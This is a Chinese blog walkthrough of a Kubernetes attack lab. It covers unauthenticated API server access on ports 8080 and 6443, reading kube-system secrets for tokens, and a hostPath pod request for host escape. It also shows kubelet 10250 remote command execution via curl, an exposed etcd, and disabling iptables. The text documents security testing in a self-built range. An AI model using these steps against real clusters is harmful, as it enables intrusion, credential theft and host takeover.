K8s安全问题

本文讲述了作者在搭建k8s过程中遇到的问题,包括8080端口的未授权访问、6443端口的鉴权设置以及如何创建特权容器以获得宿主机权限。通过调整kube-apiserver配置和使用kubectl工具,解决了这些问题并介绍了如何防范潜在的安全风险。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在搭建k8s因为种种环境问题后,放弃了以前的方法,这回采用metarget靶场进行演示

git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt

安装docker和k8s环境

./metarget gadget install docker --version 18.03.1
./metarget gadget install k8s --version 1.16.5

image.png
image.png

API Server未授权访问

Kubernetes组件的服务及默认端口

组件端口说明
API Server6443基于HTTPS的安全端口
API Server8080不安全的HTTP端口,不建议启用
Kubelet10248用于检查Kubelet健康状态的HTTP端口
Kubelet10250面向API Server提供服务的HTTPS端口
Dashboard8001提供HTTP服务的端口
etcd2379客户端和服务端之间通信的端口
etcd2380不同服务端实例之间通信的端口

8080端口未授权访问

  • 第一个是8080端口的位置,默认情况下,6443端口支持认证和授权服务,但8080端口是没有的,较新版本的Kubernetes中8080默认是不启动的

cat /etc/kubernetes/manifests/kube-apiserver.yaml 查看当前配置

image.png

  • 将–insrcure-port=0修改为–insecure-port=8080,并添加–insecure-bind-address=0.0.0.0,重启服务(systemctl restart kubelet),即可开启8080端口的HTTP服务

image.png

  • 此时还需手动关闭一下防火墙等配置
iptables -P INPUT ACCEPT
iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT
iptables -F
iptables-save
  • 修改完成后,即可访问8080端口(云服务器一定要开启全端口,避免后续出现问题)

http://ip:8080
image.png
http://ip:8080/apis
image.png
http://ip:8080/openapi/v2
image.png

6443端口未授权访问

API Server作为中心组件,通常使用kubectl来访问apiserver,也可以通过kubernetes各个语言的client库来访问kube-apiserver同时提供https(默认监听在6443端口)和http API(默认舰艇在127.0.0.1的8080端口)访问
如配置不当的话,将默认监听端口127.0.0.1改为0.0.0.0,或者添加了–enable-skip-login选项,将会导致未授权。
由于鉴权配置不当,将"sstem:anonymous"用户绑定到"cluster-admin"用户组,从而使6443端口允许匿名用户以管理员权限向集群内部下发指令。

  • 正常访问会返回403

image.png

  • 对k8s进行配置
kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

image.png

  • 通过访问API获取pod(这里因为未创建pod,所以页面没什么有价值的信息)
https://ip:6443/api/v1/namespaces/default/pods

image.png

  • 获取token
https://ip:6443/api/v1/namespaces/kube-system/secrets/

image.png

创建特权容器

image.png

GET /api/v1/namespaces/default/pods HTTP/2
Host: ip:6443
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Length: 1176

{
    "apiVersion": "v1",
    "kind": "Pod",
    "metadata": {
        "annotations": {
            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-5555\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-5555\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
        },
        "name": "test-5555",
        "namespace": "default"
    },
    "spec": {
        "containers": [
            {
                "image": "nginx:1.14.2",
                "name": "test-5555",
                "volumeMounts": [
                    {
                        "mountPath": "/host",
                        "name": "host"
                    }
                ]
            }
        ],
        "volumes": [
            {
                "hostPath": {
                    "path": "/",
                    "type": "Directory"
                },
                "name": "host"
            }
        ]
    }
}

注:可能因为环境问题,死活创建不成功容器,这块就放弃了,后续如果有师傅能创建成功,可以教下我

通过k8s dashborad,创建特权Pods,获取宿主机权限

安装dashborad

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml
vim recommended.yaml

#在recommended.yaml文件中增加两个选项
- --enable-skip-login
- -- insecure-bind-address=0.0.0.

image.png
kubectl apply -f recommended.yaml
image.png

wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml
kubectl apply -f insecure-kubernetes-dashboard.yml
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard  9090:80
或者  上面有问题的话就用下面这个命令
kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80

访问9090端口发现
image.png
使用kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.09090:443,但是没有解决成功。
上网搜到解决方法,需要绑定域名之后访问,但是我没有域名,这块就放弃了,然后把方法给大家写出来,大家可以自行尝试

wget  https://raw.githubusercontent.com/kubernetes/dashboard/v2.4.0/aio/deploy/recommended.yaml
kubectl apply -frecommended.yaml

# 创建dashboard-ingress.yaml文件,用来指向一个域名
vim dashboard-ingress.yaml

# 文件内容
apiVersion: extensions/v1beta1
kind: Ingress
metadata:
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
  annotations:
    kubernetes.io/ingress.class: "nginx"
    nginx.ingress.kubernetes.io/backend-protocol: HTTPS
    nginx.ingress.kubernetes.io/configuration-snippet: |-
      proxy_ssl_server_name on;
      proxy_ssl_name $host;
spec:
  rules:
  - host:这里写你的域名
    http:
      paths:
      - path: /
        backend:
          serviceName: kubernetes-dashboard
          servicePort: 443

# apply文件
kubectl apply -f dashboard-ingress.yaml

# 新建一个recommend.yaml文件,用来设置管理员并定义角色端口
vim recommend.yaml

# recommend.yaml文件内容
kind: Service
apiVersion: v1
metadata:
  labels:
    k8s-app: kubernetes-dashboard
  name: kubernetes-dashboard
  namespace: kubernetes-dashboard
spec:
  type: NodePort #新增的
  ports:
    - port: 443
      targetPort: 8443
      nodePort: 32000 # 新增的,此端口与NodePort不要写一样
  selector:
    k8s-app: kubernetes-dashboard

# apply文件
kubectl apply -f recommend.yaml

#这时候访问32000就可以成功了(但是需要用域名访问)

这里就大概介绍一下:
大家能登录进去后,创建容器,加入创建的容器目录未/host
之后进入容器,进入到/host目录,通过chroot 进行切换bash,造成容器逃逸,获得宿主机权限

k8s kubelet 10250端口未授权

访问10250端口为404,访问/pods路径提示401 Unauthorized
修改/var/lib/kubelet/config.yaml
image.png
重启:systemctl restart kubelet 然后访问
image.png

执行命令

进入/runningpods/目录,寻找namespace、pod、container三个参数,然后构造链接

curl -XPOST -k "https://43.154.178.98:10250/run/kube-system/etcd-vm-0-6-ubuntu/etcd" -d "cmd=whoami"

kube-system:是namespace参数的值
etcd-vm-0-6-ubuntu:是name的值
etcd:是containers里面name的值

curl -XPOST -k "https://43.154.178.98:10250/run/kube-system/etcd-vm-0-6-ubuntu/etcd" -d “cmd=whoami”
image.png

etcd未授权

未指定–client-cert-auth参数打开证书校验,并且把listen-client-urls监听修改为0.0.0.0那么也就意味着这个端口被暴露在外,如果没有通过安全组防火墙的限制,就会造成危害
修改文件:/etc/kubernetes/manifests/etcd.yaml
image.png
访问2379端口
image.png
此时就是需要利用证书进行访问,然后就是证书泄露

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值